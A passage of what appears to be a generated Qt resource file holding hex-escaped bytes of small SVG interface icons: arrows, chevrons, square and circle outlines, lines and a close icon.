\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\
\x30\x32\x30\x32\x20\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x30\
\x2e\x34\x31\x33\x34\x33\x34\x39\x32\x20\x30\x2c\x30\x2e\x35\x37\
\x31\x31\x33\x36\x39\x32\x20\x6c\x20\x2d\x33\x2e\x35\x39\x36\x31\
\x32\x38\x33\x2c\x33\x2e\x35\x39\x37\x33\x31\x30\x32\x20\x30\x2c\
\x30\x20\x30\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\
\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x20\x2d\x30\x2e\
\x34\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x31\
\x39\x20\x2d\x30\x2e\x35\x37\x31\x31\x37\x34\x38\x2c\x30\x20\x4c\
\x20\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x2c\x31\x2e\x34\x38\x37\
\x34\x31\x33\x34\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\
\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x2d\x30\x2e\x31\
\x35\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\
\x39\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x32\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x2c\x2d\x30\x2e\x31\x35\x36\
\x32\x38\x31\x33\x31\x20\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\
\x2d\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x31\x20\x30\x2e\x35\x37\
\x31\x31\x37\x34\x39\x2c\x30\x2e\x30\x30\x31\x34\x32\x20\x7a\x22\
\x20\x66\x69\x6c\x6c\x3d\x22\x23\x62\x30\x62\x30\x62\x30\x22\x2f\
\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x01\xec\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x38\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x38\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x31\x38\x20\x31\
\x38\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x31\x38\
\x20\x31\x38\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x32\x2c\x32\x20\x68\x31\x34\x20\x76\
\x31\x34\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x31\x33\x2e\x31\x20\
\x68\x2d\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\
\x23\x63\x38\x63\x39\x63\x61\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x36\x2c\x31\x36\x20\x68\x2d\x31\
\x34\x20\x76\x2d\x31\x34\x20\x68\x30\x2e\x39\x20\x76\x31\x33\x2e\
\x31\x20\x68\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\
\x22\x23\x63\x38\x63\x39\x63\x61\x22\x2f\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x64\x3d\x22\x4d\x35\x2c\x35\x20\x68\x38\x20\x76\
\x38\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x37\x2e\x31\x20\x68\x2d\
\x37\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x63\x38\
\x63\x39\x63\x61\x22\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\
\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x33\x2c\x31\x33\x20\x68\x2d\
\x38\x20\x76\x2d\x38\x20\x68\x30\x2e\x39\x20\x76\x37\x2e\x31\x20\
\x68\x37\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x63\
\x38\x63\x39\x63\x61\x22\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\
\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\x3e\x0a\x20\x20\x3c\
\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x33\x2c\x35\x20\x4c\x20\
\x35\x2c\x31\x33\x20\x76\x2d\x38\x20\x68\x38\x20\x7a\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x63\x38\x63\x39\x63\x61\x22\x20\x66\x69\
\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\
\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x02\x12\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x32\x30\x30\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x32\x30\x30\x22\x3e\x0a\
\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x20\x36\x30\x30\
\x2c\x31\x30\x35\x30\x20\x43\x20\x33\x35\x31\x2e\x34\x37\x32\x2c\
\x31\x30\x35\x30\x20\x31\x35\x30\x2c\x38\x34\x38\x2e\x35\x32\x38\
\x20\x31\x35\x30\x2c\x36\x30\x30\x20\x31\x35\x30\x2c\x33\x35\x31\
\x2e\x34\x37\x32\x20\x33\x35\x31\x2e\x34\x37\x32\x2c\x31\x35\x30\
\x20\x36\x30\x30\x2c\x31\x35\x30\x20\x63\x20\x32\x34\x38\x2e\x35\
\x32\x38\x2c\x30\x20\x34\x35\x30\x2c\x32\x30\x31\x2e\x34\x37\x32\
\x20\x34\x35\x30\x2c\x34\x35\x30\x20\x30\x2c\x32\x34\x38\x2e\x35\
\x32\x38\x20\x2d\x32\x30\x31\x2e\x34\x37\x32\x2c\x34\x35\x30\x20\
\x2d\x34\x35\x30\x2c\x34\x35\x30\x20\x7a\x20\x4d\x20\x38\x38\x38\
\x2e\x34\x36\x32\x2c\x38\x32\x37\x2e\x38\x35\x31\x20\x36\x36\x31\
\x2e\x39\x37\x34\x2c\x36\x30\x31\x2e\x31\x32\x32\x20\x6c\x20\x30\
\x2c\x2d\x32\x2e\x32\x34\x34\x20\x32\x32\x36\x2e\x34\x38\x38\x2c\
\x2d\x32\x32\x36\x2e\x37\x32\x39\x20\x30\x2c\x2d\x36\x30\x2e\x36\
\x31\x31\x20\x2d\x36\x30\x2e\x38\x34\x38\x2c\x30\x20\x51\x20\x37\
\x32\x37\x2e\x33\x33\x39\x2c\x34\x31\x31\x2e\x39\x38\x36\x20\x36\
\x32\x37\x2e\x30\x34\x33\x2c\x35\x31\x32\x2e\x34\x35\x31\x20\x36\
\x31\x33\x2e\x35\x32\x34\x2c\x35\x32\x35\x2e\x33\x35\x38\x20\x36\
\x30\x30\x2c\x35\x33\x38\x2e\x32\x36\x37\x20\x6c\x20\x2d\x32\x32\
\x36\x2e\x34\x38\x37\x2c\x2d\x32\x32\x36\x2e\x37\x32\x39\x20\x2d\
\x36\x31\x2e\x39\x37\x35\x2c\x30\x20\x30\x2c\x36\x30\x2e\x36\x31\
\x31\x20\x4c\x20\x35\x33\x38\x2e\x30\x32\x36\x2c\x36\x30\x30\x20\
\x33\x31\x31\x2e\x35\x33\x38\x2c\x38\x32\x36\x2e\x37\x32\x39\x20\
\x6c\x20\x30\x2c\x36\x31\x2e\x37\x33\x33\x20\x36\x30\x2e\x38\x34\
\x38\x2c\x30\x20\x71\x20\x33\x34\x2e\x33\x36\x33\x2c\x2d\x33\x34\
\x2e\x37\x39\x32\x20\x36\x38\x2e\x37\x33\x35\x2c\x2d\x36\x39\x2e\
\x35\x39\x20\x4c\x20\x36\x30\x30\x2c\x36\x36\x31\x2e\x37\x33\x33\
\x20\x6c\x20\x32\x32\x36\x2e\x34\x38\x37\x2c\x32\x32\x36\x2e\x37\
\x32\x39\x20\x36\x31\x2e\x39\x37\x35\x2c\x30\x20\x30\x2c\x2d\x36\
\x30\x2e\x36\x31\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\
\x62\x33\x37\x39\x37\x39\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\
\x0a\
\x00\x00\x01\x04\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x38\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x38\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x31\x38\x20\x31\
\x38\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x31\x38\
\x20\x31\x38\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x32\x2c\x32\x20\x68\x31\x34\x20\x76\
\x31\x34\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x31\x33\x2e\x31\x20\
\x68\x2d\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\
\x23\x63\x38\x63\x39\x63\x61\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x36\x2c\x31\x36\x20\x68\x2d\x31\
\x34\x20\x76\x2d\x31\x34\x20\x68\x30\x2e\x39\x20\x76\x31\x33\x2e\
\x31\x20\x68\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\
\x22\x23\x63\x38\x63\x39\x63\x61\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\
\x67\x3e\x0a\
\x00\x00\x00\xad\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x38\x31\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x35\x38\x22\x3e\x0a\x20\x20\x3c\x72\
\x65\x63\x74\x20\x69\x64\x3d\x22\x56\x4c\x69\x6e\x65\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x36\x32\x36\x35\x36\x38\x22\x20\x78\x3d\
\x22\x33\x36\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x31\x34\x22\x2f\x3e\x0a\x20\x20\x3c\
\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x48\x4c\x69\x6e\x65\x22\x20\
\x66\x69\x6c\x6c\x3d\x22\x23\x36\x32\x36\x35\x36\x38\x22\x20\x78\
\x3d\x22\x36\x35\x22\x20\x79\x3d\x22\x32\x38\x22\x20\x68\x65\x69\
\x67\x68\x74\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\
\x38\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\xbc\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x37\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x33\x70\x78\x22\x20\x76\x69\
\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x37\x20\x36\x33\x22\
\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\
\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x37\x20\x36\x33\
\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\
\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x72\x65\x63\x74\x20\
\x66\x69\x6c\x6c\x3d\x22\x23\x35\x66\x35\x66\x35\x66\x22\x20\x78\
\x3d\x22\x32\x22\x20\x79\x3d\x22\x31\x33\x22\x20\x77\x69\x64\x74\
\x68\x3d\x22\x31\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x33\x37\
\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\x4e\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x32\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x31\x38\x22\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x66\x69\x6c\x6c\x3d\x22\x23\x61\x66\x61\x66\x61\
\x66\x22\x20\x64\x3d\x22\x4d\x35\x2c\x31\x32\x56\x36\x4c\x39\x2c\
\x39\x5a\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x02\x27\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x70\x78\x22\x20\x76\x69\x65\
\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x39\x20\x36\x22\x20\x65\
\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\
\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x39\x20\x36\x22\x20\x78\
\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\x73\x65\x72\
\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\
\x4d\x20\x31\x2e\x31\x38\x39\x34\x35\x39\x32\x2c\x30\x2e\x39\x31\
\x37\x36\x39\x37\x31\x38\x20\x34\x2e\x35\x2c\x34\x2e\x32\x32\x38\
\x30\x31\x38\x32\x20\x37\x2e\x38\x31\x30\x35\x34\x30\x38\x2c\x30\
\x2e\x39\x31\x36\x32\x37\x36\x34\x38\x20\x63\x20\x30\x2e\x31\x35\
\x37\x37\x31\x32\x35\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\
\x37\x30\x32\x20\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x30\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\
\x30\x32\x30\x32\x20\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x30\
\x2e\x34\x31\x33\x34\x33\x34\x39\x32\x20\x30\x2c\x30\x2e\x35\x37\
\x31\x31\x33\x36\x39\x32\x20\x6c\x20\x2d\x33\x2e\x35\x39\x36\x31\
\x32\x38\x33\x2c\x33\x2e\x35\x39\x37\x33\x31\x30\x32\x20\x30\x2c\
\x30\x20\x30\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\
\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x20\x2d\x30\x2e\
\x34\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x31\
\x39\x20\x2d\x30\x2e\x35\x37\x31\x31\x37\x34\x38\x2c\x30\x20\x4c\
\x20\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x2c\x31\x2e\x34\x38\x37\
\x34\x31\x33\x34\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\
\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x2d\x30\x2e\x31\
\x35\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\
\x39\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x32\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x2c\x2d\x30\x2e\x31\x35\x36\
\x32\x38\x31\x33\x31\x20\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\
\x2d\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x31\x20\x30\x2e\x35\x37\
\x31\x31\x37\x34\x39\x2c\x30\x2e\x30\x30\x31\x34\x32\x20\x7a\x22\
\x20\x66\x69\x6c\x6c\x3d\x22\x23\x66\x66\x66\x22\x2f\x3e\x0a\x3c\
\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\x4a\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x22\x20\x68\x65\
\x69\x67\x68\x74\x3d\x22\x36\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\
\x68\x20\x66\x69\x6c\x6c\x3d\x22\x23\x66\x66\x66\x22\x20\x64\x3d\
\x22\x4d\x31\x2c\x31\x48\x38\x4c\x34\x2e\x35\x2c\x35\x5a\x22\x2f\
\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\xad\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x38\x31\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x35\x38\x22\x3e\x0a\x20\x20\x3c\x72\
\x65\x63\x74\x20\x69\x64\x3d\x22\x56\x4c\x69\x6e\x65\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x36\x32\x36\x35\x36\x38\x22\x20\x78\x3d\
\x22\x33\x36\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x35\x38\x22\x2f\x3e\x0a\x20\x20\x3c\
\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x48\x4c\x69\x6e\x65\x22\x20\
\x66\x69\x6c\x6c\x3d\x22\x23\x36\x32\x36\x35\x36\x38\x22\x20\x78\
\x3d\x22\x33\x36\x22\x20\x79\x3d\x22\x33\x30\x22\x20\x68\x65\x69\
\x67\x68\x74\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x34\
\x34\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x01\xab\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x30\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x32\x30\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x30\x20\x32\
\x30\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x32\x30\
\x20\x32\x30\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x2c\x31\x30\x61\x39\x2c\x39\x20\
\x30\x20\x31\x2c\x30\x20\x31\x38\x2c\x30\x20\x68\x2d\x30\x2e\x39\
\x20\x61\x38\x2e\x31\x2c\x38\x2e\x31\x20\x30\x20\x31\x2c\x31\x20\
\x2d\x31\x36\x2e\x32\x2c\x30\x20\x68\x2d\x30\x2e\x39\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x63\x38\x63\x39\x63\x61\x22\x20\x66\x69\
\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\
\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\
\x31\x2c\x31\x30\x61\x39\x2c\x39\x20\x30\x20\x31\x2c\x31\x20\x31\
\x38\x2c\x30\x20\x68\x2d\x30\x2e\x39\x20\x61\x38\x2e\x31\x2c\x38\
\x2e\x31\x20\x30\x20\x31\x2c\x30\x20\x2d\x31\x36\x2e\x32\x2c\x30\
\x20\x68\x2d\x30\x2e\x39\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x63\
\x38\x63\x39\x63\x61\x22\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\
\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\x3e\x0a\x20\x20\x3c\
\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x34\x2c\x31\x30\x61\x36\x2c\
\x36\x20\x30\x20\x31\x2c\x30\x20\x31\x32\x2c\x30\x61\x36\x2c\x36\
\x20\x30\x20\x31\x2c\x30\x20\x2d\x31\x32\x2c\x30\x22\x20\x66\x69\
\x6c\x6c\x3d\x22\x23\x63\x38\x63\x39\x63\x61\x22\x20\x66\x69\x6c\
\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\
\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x00\x1e\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x36\x34\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x36\x34\x22\x2f\x3e\x0a\
\x00\x00\x02\x2a\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x36\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x39\x70\x78\x22\x20\x76\x69\x65\
\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x36\x20\x39\x22\x20\x65\
\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\
\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x36\x20\x39\x22\x20\x78\
\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\x73\x65\x72\
\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\
\x6d\x20\x35\x2e\x30\x38\x32\x33\x30\x32\x38\x2c\x31\x2e\x31\x38\
\x39\x34\x35\x39\x33\x20\x2d\x33\x2e\x33\x31\x30\x33\x32\x31\x2c\
\x33\x2e\x33\x31\x30\x35\x34\x30\x38\x20\x33\x2e\x33\x31\x31\x37\
\x34\x31\x37\x2c\x33\x2e\x33\x31\x30\x35\x34\x30\x38\x20\x63\x20\
\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x30\x2e\x31\x35\x37\x37\x31\
\x32\x35\x20\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x30\x2e\x34\x31\
\x33\x34\x36\x32\x34\x20\x30\x2c\x30\x2e\x35\x37\x31\x31\x37\x34\
\x39\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x30\x2e\x31\x35\
\x37\x37\x31\x32\x33\x20\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\x39\
\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\x20\x2d\x30\x2e\x35\x37\
\x31\x31\x33\x36\x39\x2c\x30\x20\x6c\x20\x2d\x33\x2e\x35\x39\x37\
\x33\x31\x30\x31\x37\x2c\x2d\x33\x2e\x35\x39\x36\x31\x32\x38\x33\
\x20\x30\x2c\x30\x20\x30\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\x35\
\x37\x37\x30\x31\x39\x31\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\
\x34\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x31\x2c\x2d\x30\
\x2e\x34\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x2d\x30\x2e\x35\x37\
\x31\x31\x37\x34\x38\x20\x4c\x20\x34\x2e\x35\x31\x32\x35\x38\x36\
\x36\x2c\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x37\x20\x63\x20\x30\
\x2e\x31\x35\x37\x37\x30\x32\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\
\x32\x34\x20\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x2c\x2d\x30\x2e\
\x31\x35\x37\x37\x31\x32\x34\x20\x30\x2e\x35\x37\x31\x31\x33\x36\
\x39\x2c\x30\x20\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x2c\x30\x2e\
\x31\x35\x37\x37\x31\x32\x35\x20\x30\x2e\x31\x35\x36\x32\x38\x31\
\x33\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x33\x20\x2d\x30\x2e\
\x30\x30\x31\x34\x32\x2c\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x33\
\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x66\x66\x66\x22\x2f\
\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x01\x04\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x38\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x38\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x31\x38\x20\x31\
\x38\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x31\x38\
\x20\x31\x38\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x32\x2c\x32\x20\x68\x31\x34\x20\x76\
\x31\x34\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x31\x33\x2e\x31\x20\
\x68\x2d\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\
\x23\x35\x38\x64\x33\x66\x66\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x36\x2c\x31\x36\x20\x68\x2d\x31\
\x34\x20\x76\x2d\x31\x34\x20\x68\x30\x2e\x39\x20\x76\x31\x33\x2e\
\x31\x20\x68\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\
\x22\x23\x35\x38\x64\x33\x66\x66\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\
\x67\x3e\x0a\
\x00\x00\x02\x12\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x32\x30\x30\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x32\x30\x30\x22\x3e\x0a\
\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x20\x36\x30\x30\
\x2c\x31\x30\x35\x30\x20\x43\x20\x33\x35\x31\x2e\x34\x37\x32\x2c\
\x31\x30\x35\x30\x20\x31\x35\x30\x2c\x38\x34\x38\x2e\x35\x32\x38\
\x20\x31\x35\x30\x2c\x36\x30\x30\x20\x31\x35\x30\x2c\x33\x35\x31\
\x2e\x34\x37\x32\x20\x33\x35\x31\x2e\x34\x37\x32\x2c\x31\x35\x30\
\x20\x36\x30\x30\x2c\x31\x35\x30\x20\x63\x20\x32\x34\x38\x2e\x35\
\x32\x38\x2c\x30\x20\x34\x35\x30\x2c\x32\x30\x31\x2e\x34\x37\x32\
\x20\x34\x35\x30\x2c\x34\x35\x30\x20\x30\x2c\x32\x34\x38\x2e\x35\
\x32\x38\x20\x2d\x32\x30\x31\x2e\x34\x37\x32\x2c\x34\x35\x30\x20\
\x2d\x34\x35\x30\x2c\x34\x35\x30\x20\x7a\x20\x4d\x20\x38\x38\x38\
\x2e\x34\x36\x32\x2c\x38\x32\x37\x2e\x38\x35\x31\x20\x36\x36\x31\
\x2e\x39\x37\x34\x2c\x36\x30\x31\x2e\x31\x32\x32\x20\x6c\x20\x30\
\x2c\x2d\x32\x2e\x32\x34\x34\x20\x32\x32\x36\x2e\x34\x38\x38\x2c\
\x2d\x32\x32\x36\x2e\x37\x32\x39\x20\x30\x2c\x2d\x36\x30\x2e\x36\
\x31\x31\x20\x2d\x36\x30\x2e\x38\x34\x38\x2c\x30\x20\x51\x20\x37\
\x32\x37\x2e\x33\x33\x39\x2c\x34\x31\x31\x2e\x39\x38\x36\x20\x36\
\x32\x37\x2e\x30\x34\x33\x2c\x35\x31\x32\x2e\x34\x35\x31\x20\x36\
